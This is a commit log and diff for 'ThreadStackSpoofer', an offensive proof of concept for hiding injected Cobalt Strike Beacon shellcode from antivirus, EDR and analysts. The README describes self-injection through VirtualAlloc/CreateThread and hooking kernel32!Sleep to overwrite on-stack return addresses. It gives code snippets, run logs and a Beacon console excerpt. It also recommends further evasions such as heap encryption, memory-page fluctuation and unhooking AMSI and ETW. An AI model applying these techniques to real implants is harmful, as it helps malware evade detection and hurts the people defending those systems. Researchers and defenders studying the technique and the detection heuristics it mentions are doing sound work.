49 Commits

Author SHA1 Message Date
Mariusz Banach f67caea38a Merge pull request #3 from mgeeky/add-code-of-conduct-1
Create CODE_OF_CONDUCT.md
2022-06-17 20:06:35 +02:00
Mariusz Banach 763f4bea2e Create CODE_OF_CONDUCT.md 2022-06-17 20:06:26 +02:00
Mariusz B. / mgeeky fce3a52d15 Added MIT License. 2021-10-19 11:10:25 +02:00
Mariusz B. / mgeeky 37490f57f5 update 2021-10-03 02:30:08 +02:00
Mariusz B. / mgeeky 59fbc055c4 update 2021-10-02 13:14:30 +02:00
Mariusz B. / mgeeky 859aa0e4e1 update 2021-10-01 21:34:41 +02:00
Mariusz B. / mgeeky adfdcf674d update 2021-10-01 21:33:26 +02:00
Mariusz B. / mgeeky 404bb2f896 update 2021-10-01 19:41:05 +02:00
Mariusz B. / mgeeky c3613586af update 2021-10-01 19:39:19 +02:00
Mariusz B. / mgeeky 3d7fbcd18d readme 2021-10-01 19:34:14 +02:00
Mariusz B. / mgeeky 11e78b4855 readme 2021-10-01 19:18:07 +02:00
Mariusz B. / mgeeky 185751891e readme 2021-10-01 19:13:08 +02:00
Mariusz B. / mgeeky 36c736813f readme 2021-10-01 19:04:21 +02:00
Mariusz B. / mgeeky ad1832234e Reworked original implementation to now simply overwrite MySleep return address with 0. 2021-10-01 19:03:12 +02:00
Mariusz B. / mgeeky c250724872 update 2021-09-30 17:56:42 +02:00
Mariusz B. / mgeeky ec0237c5f8 readme 2021-09-30 15:15:40 +02:00
Mariusz B. / mgeeky 25153d7944 readme 2021-09-29 15:33:22 +02:00
Mariusz B. / mgeeky 332eaf711c readme 2021-09-29 13:11:14 +02:00
Mariusz B. / mgeeky 98bf4116ba update 2021-09-29 11:00:22 +02:00
Mariusz B. / mgeeky 8859cc3acd readme 2021-09-28 11:10:06 +02:00
Mariusz B. / mgeeky 147fc1ea36 readme 2021-09-27 16:13:37 +02:00
Mariusz B. / mgeeky 6dd84dd1a6 readme 2021-09-27 15:58:28 +02:00
Mariusz B. / mgeeky 913f381fae readme 2021-09-27 15:21:27 +02:00
Mariusz B. / mgeeky 5e997a5318 readme 2021-09-27 15:20:44 +02:00
Mariusz B. / mgeeky 505c57af6d readme 2021-09-27 15:20:16 +02:00
Mariusz B. / mgeeky 5b0a7bdf8d readme 2021-09-27 15:19:39 +02:00
Mariusz B. / mgeeky 97be56aeb2 readme 2021-09-27 15:19:33 +02:00
Mariusz B. / mgeeky 98d84ec60b readme 2021-09-27 15:18:17 +02:00
Mariusz B. / mgeeky b3eb38b441 readme 2021-09-27 15:15:23 +02:00
Mariusz B. / mgeeky f32a8ddf8b readme 2021-09-27 15:09:47 +02:00
Mariusz B. / mgeeky 33887b079d readme 2021-09-27 15:09:20 +02:00
Mariusz B. / mgeeky c301c6cb02 readme 2021-09-27 12:39:29 +02:00
Mariusz B. / mgeeky 7210a25ec8 readme 2021-09-27 12:39:09 +02:00
Mariusz B. / mgeeky a857e29a4a readme 2021-09-27 12:38:55 +02:00
Mariusz B. / mgeeky de78740d46 readme 2021-09-27 12:37:08 +02:00
Mariusz B. / mgeeky ed6ebd905f readme 2021-09-27 12:36:12 +02:00
Mariusz B. / mgeeky 2b37099f07 readme 2021-09-27 12:34:45 +02:00
Mariusz B. / mgeeky c11a6cdb31 readme 2021-09-27 12:33:46 +02:00
Mariusz B. / mgeeky 6c5f5d4139 image 2021-09-27 12:33:33 +02:00
Mariusz B. / mgeeky 7ec391c6b0 readme 2021-09-27 12:33:02 +02:00
Mariusz B. / mgeeky eb0894490b readme 2021-09-27 11:40:05 +02:00
Mariusz B. / mgeeky e48ab418e4 readme 2021-09-27 11:25:15 +02:00
Mariusz B. / mgeeky b6ffad6086 readme 2021-09-27 11:19:52 +02:00
Mariusz B. / mgeeky 3ccdbee6e6 readme 2021-09-27 02:13:53 +02:00
Mariusz B. / mgeeky 7d089c4e5b readme 2021-09-27 02:12:41 +02:00
Mariusz B. / mgeeky 41746391fc readme 2021-09-27 02:00:52 +02:00
Mariusz B. / mgeeky bde871dfa8 comments 2021-09-27 01:59:32 +02:00
Mariusz B. / mgeeky 3e45b1eda0 readm 2021-09-27 01:24:58 +02:00
Mariusz B. / mgeeky 8433c026f1 readm 2021-09-27 01:18:55 +02:00
10 changed files with 483 additions and 359 deletions
+128
View File
@@ -0,0 +1,128 @@
# Contributor Covenant Code of Conduct
## Our Pledge
We as members, contributors, and leaders pledge to make participation in our
community a harassment-free experience for everyone, regardless of age, body
size, visible or invisible disability, ethnicity, sex characteristics, gender
identity and expression, level of experience, education, socio-economic status,
nationality, personal appearance, race, religion, or sexual identity
and orientation.
We pledge to act and interact in ways that contribute to an open, welcoming,
diverse, inclusive, and healthy community.
## Our Standards
Examples of behavior that contributes to a positive environment for our
community include:
* Demonstrating empathy and kindness toward other people
* Being respectful of differing opinions, viewpoints, and experiences
* Giving and gracefully accepting constructive feedback
* Accepting responsibility and apologizing to those affected by our mistakes,
and learning from the experience
* Focusing on what is best not just for us as individuals, but for the
overall community
Examples of unacceptable behavior include:
* The use of sexualized language or imagery, and sexual attention or
advances of any kind
* Trolling, insulting or derogatory comments, and personal or political attacks
* Public or private harassment
* Publishing others' private information, such as a physical or email
address, without their explicit permission
* Other conduct which could reasonably be considered inappropriate in a
professional setting
## Enforcement Responsibilities
Community leaders are responsible for clarifying and enforcing our standards of
acceptable behavior and will take appropriate and fair corrective action in
response to any behavior that they deem inappropriate, threatening, offensive,
or harmful.
Community leaders have the right and responsibility to remove, edit, or reject
comments, commits, code, wiki edits, issues, and other contributions that are
not aligned to this Code of Conduct, and will communicate reasons for moderation
decisions when appropriate.
## Scope
This Code of Conduct applies within all community spaces, and also applies when
an individual is officially representing the community in public spaces.
Examples of representing our community include using an official e-mail address,
posting via an official social media account, or acting as an appointed
representative at an online or offline event.
## Enforcement
Instances of abusive, harassing, or otherwise unacceptable behavior may be
reported to the community leaders responsible for enforcement at
Mariusz Banach (mgeeky, @mariuszbit, mb@binary-offensive.com).
All complaints will be reviewed and investigated promptly and fairly.
All community leaders are obligated to respect the privacy and security of the
reporter of any incident.
## Enforcement Guidelines
Community leaders will follow these Community Impact Guidelines in determining
the consequences for any action they deem in violation of this Code of Conduct:
### 1. Correction
**Community Impact**: Use of inappropriate language or other behavior deemed
unprofessional or unwelcome in the community.
**Consequence**: A private, written warning from community leaders, providing
clarity around the nature of the violation and an explanation of why the
behavior was inappropriate. A public apology may be requested.
### 2. Warning
**Community Impact**: A violation through a single incident or series
of actions.
**Consequence**: A warning with consequences for continued behavior. No
interaction with the people involved, including unsolicited interaction with
those enforcing the Code of Conduct, for a specified period of time. This
includes avoiding interactions in community spaces as well as external channels
like social media. Violating these terms may lead to a temporary or
permanent ban.
### 3. Temporary Ban
**Community Impact**: A serious violation of community standards, including
sustained inappropriate behavior.
**Consequence**: A temporary ban from any sort of interaction or public
communication with the community for a specified period of time. No public or
private interaction with the people involved, including unsolicited interaction
with those enforcing the Code of Conduct, is allowed during this period.
Violating these terms may lead to a permanent ban.
### 4. Permanent Ban
**Community Impact**: Demonstrating a pattern of violation of community
standards, including sustained inappropriate behavior, harassment of an
individual, or aggression toward or disparagement of classes of individuals.
**Consequence**: A permanent ban from any sort of public interaction within
the community.
## Attribution
This Code of Conduct is adapted from the [Contributor Covenant][homepage],
version 2.0, available at
https://www.contributor-covenant.org/version/2/0/code_of_conduct.html.
Community Impact Guidelines were inspired by [Mozilla's code of conduct
enforcement ladder](https://github.com/mozilla/diversity).
[homepage]: https://www.contributor-covenant.org
For answers to common questions about this code of conduct, see the FAQ at
https://www.contributor-covenant.org/faq. Translations are available at
https://www.contributor-covenant.org/translations.
+21
View File
@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2021 Mariusz Banach (mgeeky, <mb [at] binary-offensive.com>)
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
+242 -73
View File
@@ -1,46 +1,36 @@
# Thread Stack Spoofing PoC
# Thread Stack Spoofing / Call Stack Spoofing PoC
A PoC implementation for an advanced in-memory evasion technique that spoofs Thread Call Stack. This technique allows to bypass thread-based memory examination rules and better hide shellcodes while in-process memory.
## Intro
This is an example implementation for _Thread Stack Spoofing_ technique aiming to evade Malware Analysts, AVs and EDRs looking for references to shellcode's frames in an examined thread's call stack.
The idea is to walk back thread's call stack and overwrite return addresses in subsequent function frames thus masquerading allocations containing malware's code.
The idea is to hide references to the shellcode on thread's call stack thus masquerading allocations containing malware's code.
An implementation may differ, however the idea is roughly similar to what [MDSec's Nighthawk C2](https://www.mdsec.co.uk/nighthawk/) offers for its agents.
Especially demonstrated in this video:
[Nighthawk - Thread Stack Spoofing](https://vimeo.com/581861665)
Implementation along with my [ShellcodeFluctuation](https://github.com/mgeeky/ShellcodeFluctuation) brings Offensive Security community sample implementations to catch up on the offering made by commercial C2 products, so that we can do no worse in our Red Team toolings. 💪
## How it works?
### Implementation has changed
This program performs self-injection shellcode (roughly via classic `VirtualAlloc` + `memcpy` + `CreateThread`).
Then when shellcode runs (this implementation specifically targets Cobalt Strike Beacon implants) a Windows function will be hooked intercepting moment when Beacon falls asleep `kernel32!Sleep`.
Whenever hooked `MySleep` function gets invoked, it will spoof its own call stack leading to this `MySleep` function and begin sleeping.
Having awaited for expected amount of time, the Thread's call stack will get restored assuring stable return and shellcode's execution resumption.
The rough algorithm is following:
1. Read shellcode's contents from file.
2. Acquire all the necessary function pointers from `dbghelp.dll`, call `SymInitialize`
3. Hook `kernel32!Sleep` pointing back to our callback.
4. Inject and launch shellcode via `VirtualAlloc` + `memcpy` + `CreateThread`
5. As soon as Beacon attempts to sleep, our `MySleep` callback gets invoked.
6. Stack Spoofing begins.
7. Firstly we walk call stack of our current thread, utilising `ntdll!RtlCaptureContext` and `dbghelp!StackWalk64`
8. We save all of the stack frames that match our `seems-to-be-beacon-frame` criterias (such as return address points back to a memory being `MEM_PRIVATE` or `Type = 0`, or memory's protection flags are not `R/RX/RWX`)
9. We terate over collected frames (gathered function frame pointers `RBP/EBP` - in `frame.frameAddr`) and overwrite _on-stack_ return addresses with a fake `::CreateFileW` address.
10. Finally a call to `::SleepEx` is made to let the Beacon's sleep while waiting for further communication.
11. After Sleep is finished, we restore previously saved original function return addresses and execution is resumed.
Function return addresses are scattered all around the thread's stack memory area, pointed to by `RBP/EBP` register. In order to find them on the stack, we need to firstly collect frame pointers, then dereference them for overwriting:
Current implementation differs heavily to what was originally published.
This is because I realised there is a way simpler approach to terminate thread's call stack processal and hide shellcode's related frames by simply writing `0` to the return address of the first frame we control:
```
*(PULONG_PTR)(frameAddr + sizeof(void*)) = Fake_Return_Address;
void WINAPI MySleep(DWORD _dwMilliseconds)
{
[...]
auto overwrite = (PULONG_PTR)_AddressOfReturnAddress();
const auto origReturnAddress = *overwrite;
*overwrite = 0;
[...]
*overwrite = origReturnAddress;
}
```
This precise logic is provided by `walkCallStack` and `spoofCallStack` functions in `main.cpp`.
The previous implementation, utilising `StackWalk64` can be accessed in this [commit c250724](https://github.com/mgeeky/ThreadStackSpoofer/tree/c2507248723d167fb2feddf50d35435a17fd61a2).
This implementation is much more stable and works nicely on both `Debug` and `Release` under two architectures - `x64` and `x86`.
## Demo
@@ -51,64 +41,243 @@ This is how a call stack may look like when it is **NOT** spoofed:
This in turn, when thread stack spoofing is enabled:
![spoofed](images/spoofed.png)
![spoofed](images/spoofed2.png)
Above we can see that the last frame on our call stack is our `MySleep` callback.
One can wonder does it immediately brings opportunities new IOCs? Hunting rules can look for threads having call stacks not unwinding into following expected thread entry points located within system libraries:
```
kernel32!BaseThreadInitThunk+0x14
ntdll!RtlUserThreadStart+0x21
```
However the call stack of the spoofed thread may look rather odd at first, a brief examination of my system shown, that there are other threads not unwinding to the above entry points as well:
![legit call stack](images/legit-call-stack.png)
The above screenshot shows a thread of unmodified **Total Commander x64**. As we can see, its call stack pretty much resembles our own in terms of initial call stack frames.
Why should we care about carefully faking our call stack when there are processes exhibiting traits that we can simply mimic?
## How it works?
The rough algorithm is following:
1. Read shellcode's contents from file.
2. Acquire all the necessary function pointers from `dbghelp.dll`, call `SymInitialize`
3. Hook `kernel32!Sleep` pointing back to our callback.
4. Inject and launch shellcode via `VirtualAlloc` + `memcpy` + `CreateThread`. The thread should start from our `runShellcode` function to avoid having Thread's _StartAddress_ point into somewhere unexpected and anomalous (such as `ntdll!RtlUserThreadStart+0x21`)
5. As soon as Beacon attempts to sleep, our `MySleep` callback gets invoked.
6. We then overwrite last return address on the stack to `0` which effectively should finish the call stack.
7. Finally a call to `::SleepEx` is made to let the Beacon's sleep while waiting for further communication.
8. After Sleep is finished, we restore previously saved original function return addresses and execution is resumed.
Function return addresses are scattered all around the thread's stack memory area, pointed to by `RBP/EBP` register.
In order to find them on the stack, we need to firstly collect frame pointers, then dereference them for overwriting:
![stack frame](images/frame0.png)
_(the above image was borrowed from **Eli Bendersky's** post named [Stack frame layout on x86-64](https://eli.thegreenplace.net/2011/09/06/stack-frame-layout-on-x86-64/))_
```
*(PULONG_PTR)(frameAddr + sizeof(void*)) = Fake_Return_Address;
```
Initial implementation of `ThreadStackSpoofer` did that in `walkCallStack` and `spoofCallStack` functions, however the current implementation shows that these efforts _are not required to maintain stealthy call stack_.
## Example run
Use case:
```
C:\> ThreadStackSpoofer.exe <shellcode> <spoof>
```
Where:
- `<shellcode>` is a path to the shellcode file
- `<spoof>` when `1` or `true` will enable thread stack spoofing and anything else disables it.
Example run that spoofs beacon's thread call stack:
```
C:\> ThreadStackSpoofer.exe beacon64.bin 1
PS D:\dev2\ThreadStackSpoofer> .\x64\Release\ThreadStackSpoofer.exe .\tests\beacon64.bin 1
[.] Reading shellcode bytes...
[.] Initializing stack spoofer...
[+] Stack spoofing initialized.
[.] Hooking kernel32!Sleep...
[.] Injecting shellcode...
WalkCallStack: Stack Trace:
2. calledFrom: 0x7ff7abc92de4 - stack: 0x50174ff7d0 - frame: 0x50174ff8e0 - ret: 0x1f255dabd51 - skip? 0
3. calledFrom: 0x1f255dabd51 - stack: 0x50174ff8f0 - frame: 0x50174ff8e8 - ret: 0x1388 - skip? 0
4. calledFrom: 0x 1388 - stack: 0x50174ff8f8 - frame: 0x50174ff8f0 - ret: 0x1f25683ae80 - skip? 0
5. calledFrom: 0x1f25683ae80 - stack: 0x50174ff900 - frame: 0x50174ff8f8 - ret: 0x1b000100000004 - skip? 0
6. calledFrom: 0x1b000100000004 - stack: 0x50174ff908 - frame: 0x50174ff900 - ret: 0x8003600140000 - skip? 0
7. calledFrom: 0x8003600140000 - stack: 0x50174ff910 - frame: 0x50174ff908 - ret: 0x1f255f76040 - skip? 0
8. calledFrom: 0x1f255f76040 - stack: 0x50174ff918 - frame: 0x50174ff910 - ret: 0x1f255d8cd9f - skip? 0
9. calledFrom: 0x1f255d8cd9f - stack: 0x50174ff920 - frame: 0x50174ff918 - ret: 0x1f255d8cdd0 - skip? 0
WalkCallStack: Stack Trace finished.
Spoofed: 0x1f255dabd51 -> 0x7ffeb7f74b60
Spoofed: 0x00001388 -> 0x7ffeb7f74b60
Spoofed: 0x1f25683ae80 -> 0x7ffeb7f74b60
Spoofed: 0x1b000100000004 -> 0x7ffeb7f74b60
Spoofed: 0x8003600140000 -> 0x7ffeb7f74b60
Spoofed: 0x1f255f76040 -> 0x7ffeb7f74b60
Spoofed: 0x1f255d8cd9f -> 0x7ffeb7f74b60
Spoofed: 0x1f255d8cdd0 -> 0x7ffeb7f74b60
MySleep(5000)
[+] Shellcode is now running.
WalkCallStack: Stack Trace:
2. calledFrom: 0x7ff7abc92e14 - stack: 0x50174ff7d0 - frame: 0x50174ff8e0 - ret: 0x7ffeb7f74b60 - skip? 1
3. calledFrom: 0x7ffeb7f74b60 - stack: 0x50174ff8f0 - frame: 0x50174ff8e8 - ret: 0x7ffeb7f74b60 - skip? 1
4. calledFrom: 0x7ffeb7f74b60 - stack: 0x50174ff8f8 - frame: 0x50174ff8f0 - ret: 0x7ffeb7f74b60 - skip? 1
5. calledFrom: 0x7ffeb7f74b60 - stack: 0x50174ff900 - frame: 0x50174ff8f8 - ret: 0x7ffeb7f74b60 - skip? 1
6. calledFrom: 0x7ffeb7f74b60 - stack: 0x50174ff908 - frame: 0x50174ff900 - ret: 0x7ffeb7f74b60 - skip? 1
7. calledFrom: 0x7ffeb7f74b60 - stack: 0x50174ff910 - frame: 0x50174ff908 - ret: 0x7ffeb7f74b60 - skip? 1
8. calledFrom: 0x7ffeb7f74b60 - stack: 0x50174ff918 - frame: 0x50174ff910 - ret: 0x7ffeb7f74b60 - skip? 1
9. calledFrom: 0x7ffeb7f74b60 - stack: 0x50174ff920 - frame: 0x50174ff918 - ret: 0x7ffeb7f74b60 - skip? 1
WalkCallStack: Stack Trace finished.
Restored: 0x7ffeb7f74b60 -> 0x1f255dabd51
Restored: 0x7ffeb7f74b60 -> 0x1388
Restored: 0x7ffeb7f74b60 -> 0x1f25683ae80
Restored: 0x7ffeb7f74b60 -> 0x1b000100000004
Restored: 0x7ffeb7f74b60 -> 0x8003600140000
Restored: 0x7ffeb7f74b60 -> 0x1f255f76040
Restored: 0x7ffeb7f74b60 -> 0x1f255d8cd9f
Restored: 0x7ffeb7f74b60 -> 0x1f255d8cdd0
[>] Original return address: 0x1926747bd51. Finishing call stack...
===> MySleep(5000)
[<] Restoring original return address...
[>] Original return address: 0x1926747bd51. Finishing call stack...
===> MySleep(5000)
[<] Restoring original return address...
[>] Original return address: 0x1926747bd51. Finishing call stack...
```
---
## How do I use it?
Look at the code and its implementation, understand the concept and re-implement the concept within your own Shellcode Loaders that you utilise to deliver your Red Team engagements.
This is an yet another technique for advanced in-memory evasion that increases your Teams' chances for not getting caught by Anti-Viruses, EDRs and Malware Analysts taking look at your implants.
While developing your advanced shellcode loader, you might also want to implement:
- **Process Heap Encryption** - take an inspiration from this blog post: [Hook Heaps and Live Free](https://www.arashparsa.com/hook-heaps-and-live-free/) - which can let you evade Beacon configuration extractors like [`BeaconEye`](https://github.com/CCob/BeaconEye)
- **Change your Beacon's memory pages protection to `RW` (from `RX/RWX`) and encrypt their contents** - using [Shellcode Fluctuation](https://github.com/mgeeky/ShellcodeFluctuation) technique - right before sleeping (that could evade scanners such as [`Moneta`](https://github.com/forrest-orr/moneta) or [`pe-sieve`](https://github.com/hasherezade/pe-sieve))
- **Clear out any leftovers from Reflective Loader** to avoid in-memory signatured detections
- **Unhook everything you might have hooked** (such as AMSI, ETW, WLDP) before sleeping and then re-hook afterwards.
---
## Actually this is not (yet) a true stack spoofing
As it's been pointed out to me, the technique here is not _yet_ truly holding up to its name for being a _stack spoofer_. Since we're merely overwriting return addresses on the thread's stack, we're not spoofing the remaining areas of the stack itself. Moreover we're leaving our call stack _unwindable_ meaking it look anomalous since the system will not be able to properly walk the entire call stack frames chain.
However I'm aware of these shortcomings, at the moment I've left it as is since I cared mostly about evading automated scanners that could iterate over processes, enumerate their threads, walk those threads stacks and pick up on any return address pointing back to a non-image memory (such as `SEC_PRIVATE` - the one allocated dynamically by `VirtuaAlloc` and friends). A focused malware analyst would immediately spot the oddity and consider the thread rather unusual, hunting down our implant. More than sure about it. Yet, I don't believe that nowadays automated scanners such as AV/EDR have sorts of heuristics implemented that would _actually walk each thread's stack_ to verify whether its un-windable `¯\_(ツ)_/¯` .
Surely this project (and commercial implementation found in C2 frameworks) gives AV & EDR vendors arguments to consider implementing appropriate heuristics covering such a novel evasion technique.
In order to improve this technique, one can aim for a true _Thread Stack Spoofer_ by inserting carefully crafted fake stack frames established in an reverse-unwinding process.
Read more on this idea below.
### Implementing a true Thread Stack Spoofer
Hours-long conversation with [namazso](https://twitter.com/namazso) teached me, that in order to aim for a proper thread stack spoofer we would need to reverse x64 call stack unwinding process.
Firstly, one needs to carefully acknowledge the stack unwinding process explained in (a) linked below. The system when traverses Thread call stack on x64 architecture will not simply rely on return addresses scattered around the thread's stack, but rather it:
1. takes return address
2. attempts to identify function containing that address (with [RtlLookupFunctionEntry](https://docs.microsoft.com/en-us/windows/win32/api/winnt/nf-winnt-rtllookupfunctionentry))
3. That function returns `RUNTIME_FUNCTION`, `UNWIND_INFO` and `UNWIND_CODE` structures. These structures describe where are the function's beginning address, ending address, and where are all the code sequences that modify `RBP` or `RSP`.
4. System needs to know about all stack & frame pointers modifications that happened in each function across the Call Stack to then virtually _rollback_ these changes and virtually restore call stack pointers when a call to the processed call stack frame happened (this is implemented in [RtlVirtualUnwind](https://docs.microsoft.com/ru-ru/windows/win32/api/winnt/nf-winnt-rtlvirtualunwind))
5. The system processes all `UNWIND_CODE`s that examined function exhbits to precisely compute the location of that frame's return address and stack pointer value.
6. Through this emulation, the System is able to walk down the call stacks chain and effectively "unwind" the call stack.
In order to interfere with this process we wuold need to _revert it_ by having our reverted form of `RtlVirtualUnwind`. We would need to iterate over functions defined in a module (let's be it `kernel32`), scan each function's `UNWIND_CODE` codes and closely emulate it backwards (as compared to `RtlVirtualUnwind` and precisely `RtlpUnwindPrologue`) in order to find locations on the stack, where to put our fake return addresses.
[namazso](https://twitter.com/namazso) mentions the necessity to introduce 3 fake stack frames to nicely stitch the call stack:
1. A "desync" frame (consider it as a _gadget-frame_) that unwinds differently compared to the caller of our `MySleep` (having differnt `UWOP` - Unwind Operation code). We do this by looking through all functions from a module, looking through their UWOPs, calculating how big the fake frame should be. This frame must have UWOPS **different** than our `MySleep`'s caller.
2. Next frame that we want to find is a function that unwindws by popping into `RBP` from the stack - basically through `UWOP_PUSH_NONVOL` code.
3. Third frame we need a function that restores `RSP` from `RBP` through the code `UWOP_SET_FPREG`
The restored `RSP` must be set with the `RSP` taken from wherever control flow entered into our `MySleep` so that all our frames become hidden, as a result of third gadget unwinding there.
In order to begin the process, one can iterate over executable's `.pdata` by dereferencing `IMAGE_DIRECTORY_ENTRY_EXCEPTION` data directory entry.
Consider below example:
```
ULONG_PTR imageBase = (ULONG_PTR)GetModuleHandleA("kernel32");
PIMAGE_NT_HEADERS64 pNthdrs = PIMAGE_NT_HEADERS64(imageBase + PIMAGE_DOS_HEADER(imageBase)->e_lfanew);
auto excdir = pNthdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION];
if (excdir.Size == 0 || excdir.VirtualAddress == 0)
return;
auto begin = PRUNTIME_FUNCTION(excdir.VirtualAddress + imageBase);
auto end = PRUNTIME_FUNCTION(excdir.VirtualAddress + imageBase + excdir.Size);
UNWIND_HISTORY_TABLE mshist = { 0 };
DWORD64 imageBase2 = 0;
PRUNTIME_FUNCTION currFrame = RtlLookupFunctionEntry(
(DWORD64)caller,
&imageBase2,
&mshist
);
UNWIND_INFO *mySleep = (UNWIND_INFO*)(currFrame->UnwindData + imageBase);
UNWIND_CODE myFrameUwop = (UNWIND_CODE)(mySleep->UnwindCodes[0]);
log("1. MySleep RIP UWOP: ", myFrameUwop.UnwindOpcode);
for (PRUNTIME_FUNCTION it = begin; it < end; ++it)
{
UNWIND_INFO* unwindData = (UNWIND_INFO*)(it->UnwindData + imageBase);
UNWIND_CODE frameUwop = (UNWIND_CODE)(unwindData->UnwindCodes[0]);
if (frameUwop.UnwindOpcode != myFrameUwop.UnwindOpcode)
{
// Found candidate function for a desynch gadget frame
}
}
```
The process is a bit convoluted, yet boils down to reverting thread's call stack unwinding process by substituting arbitrary stack frames with carefully selected other ones, in a ROP alike approach.
This PoC does not follows replicate this algorithm, because my current understanding allows me to accept the call stack finishing on an `EXE`-based stack frame and I don't want to overcompliate neither my shellcode loaders nor this PoC. Leaving the exercise of implementing this and sharing publicly to a keen reader. Or maybe I'll sit and have a try on doing this myself given some more spare time :)
**More information**:
- **a)** [x64 exception handling - Stack Unwinding process explained](https://docs.microsoft.com/en-us/cpp/build/exception-handling-x64?view=msvc-160)
- **b)** [Sample implementation of `RtlpUnwindPrologue` and `RtlVirtualUnwind`](https://github.com/mic101/windows/blob/master/WRK-v1.2/base/ntos/rtl/amd64/exdsptch.c)
- **c)** [`.pdata` section](https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#the-pdata-section)
- **d)** [another sample implementation of `RtlpUnwindPrologue`](https://github.com/hzqst/unicorn_pe/blob/master/unicorn_pe/except.cpp#L773)
---
## Word of caution
If you plan on adding this functionality to your own shellcode loaders / toolings be sure to **AVOID** unhooking `kernel32.dll`.
An attempt to unhook `kernel32` will restore original `Sleep` functionality preventing our callback from being called.
If our callback is not called, the thread will be unable to spoof its own call stack by itself.
If that's what you want to have, than you might need to run another, watchdog thread, making sure that the Beacons thread will get spoofed whenever it sleeps.
If you're using Cobalt Strike and a BOF `unhook-bof` by Raphael's Mudge, be sure to check out my [Pull Request](https://github.com/Cobalt-Strike/unhook-bof/pull/1) that adds optional parameter to the BOF specifying libraries that should not be unhooked.
This way you can maintain your hooks in kernel32:
```
beacon> unhook kernel32
[*] Running unhook.
Will skip these modules: wmp.dll, kernel32.dll
[+] host called home, sent: 9475 bytes
[+] received output:
ntdll.dll <.text>
Unhook is done.
```
[Modified `unhook-bof` with option to ignore specified modules](https://github.com/mgeeky/unhook-bof)
---
## Final remark
This PoC was designed to work with Cobalt Strike's Beacon shellcodes. The Beacon is known to call out to `kernel32!Sleep` to await further instructions from its C2.
This loader leverages that fact by hooking `Sleep` in order to perform its housekeeping.
This implementation might not work with other shellcodes in the market (such as _Meterpreter_) if they don't use `Sleep` to cool down.
Since this is merely a _Proof of Concept_ showing the technique, I don't intend on adding support for any other C2 framework.
When you understand the concept, surely you'll be able to translate it into your shellcode requirements and adapt the solution for your advantage.
Please do not open Github issues related to "this code doesn't work with XYZ shellcode", they'll be closed immediately.
---
### ☕ Show Support ☕
This and other projects are outcome of sleepless nights and **plenty of hard work**. If you like what I do and appreciate that I always give back to the community,
[Consider buying me a coffee](https://github.com/sponsors/mgeeky) _(or better a beer)_ just to say thank you! 💪
---
## Author
```
Mariusz Banach / mgeeky,
<mb [at] binary-offensive.com>, '21
```
Mariusz Banach / mgeeky, 21
<mb [at] binary-offensive.com>
(https://github.com/mgeeky)
```
@@ -1,7 +1,7 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LocalDebuggerCommandArguments>d:\dev2\ThreadStackSpoofer\ThreadStackSpoofer\x64\Debug\beacon64.bin</LocalDebuggerCommandArguments>
<LocalDebuggerCommandArguments>d:\dev2\ThreadStackSpoofer\tests\beacon64.bin 1</LocalDebuggerCommandArguments>
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
</PropertyGroup>
</Project>
+6 -46
View File
@@ -1,59 +1,23 @@
#pragma once
#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <sstream>
#include <iomanip>
#include <vector>
typedef void (WINAPI* typeSleep)(
DWORD dwMilis
);
typedef BOOL(__stdcall* typeStackWalk64)(
DWORD MachineType,
HANDLE hProcess,
HANDLE hThread,
LPSTACKFRAME64 StackFrame,
PVOID ContextRecord,
PREAD_PROCESS_MEMORY_ROUTINE64 ReadMemoryRoutine,
PFUNCTION_TABLE_ACCESS_ROUTINE64 FunctionTableAccessRoutine,
PGET_MODULE_BASE_ROUTINE64 GetModuleBaseRoutine,
PTRANSLATE_ADDRESS_ROUTINE64 TranslateAddress
);
typedef BOOL(__stdcall* typeSymInitialize)(
IN HANDLE hProcess,
IN LPCSTR UserSearchPath,
IN BOOL fInvadeProcess
typedef DWORD(NTAPI* typeNtFlushInstructionCache)(
HANDLE ProcessHandle,
PVOID BaseAddress,
ULONG NumberOfBytesToFlush
);
typedef std::unique_ptr<std::remove_pointer<HANDLE>::type, decltype(&::CloseHandle)> HandlePtr;
struct CallStackFrame
{
ULONG_PTR calledFrom;
ULONG_PTR stackAddr;
ULONG_PTR frameAddr;
ULONG_PTR origFrameAddr;
ULONG_PTR retAddr;
ULONG_PTR overwriteWhat;
};
static const size_t MaxStackFramesToSpoof = 64;
struct StackTraceSpoofingMetadata
{
HMODULE hDbghelp;
typeStackWalk64 pStackWalk64;
LPVOID pSymFunctionTableAccess64;
LPVOID pSymGetModuleBase64;
bool initialized;
CallStackFrame spoofedFrame[MaxStackFramesToSpoof];
size_t spoofedFrames;
};
struct HookedSleep
{
typeSleep origSleep;
@@ -71,7 +35,6 @@ struct HookTrampolineBuffers
DWORD previousBytesSize;
};
template<class... Args>
void log(Args... args)
{
@@ -81,14 +44,11 @@ void log(Args... args)
std::cout << oss.str() << std::endl;
}
static const size_t Frames_To_Preserve = 2;
static const DWORD Shellcode_Memory_Protection = PAGE_EXECUTE_READ;
bool hookSleep();
bool injectShellcode(std::vector<uint8_t>& shellcode);
void runShellcode(LPVOID param);
bool injectShellcode(std::vector<uint8_t>& shellcode, HandlePtr& thread);
bool readShellcode(const char* path, std::vector<uint8_t>& shellcode);
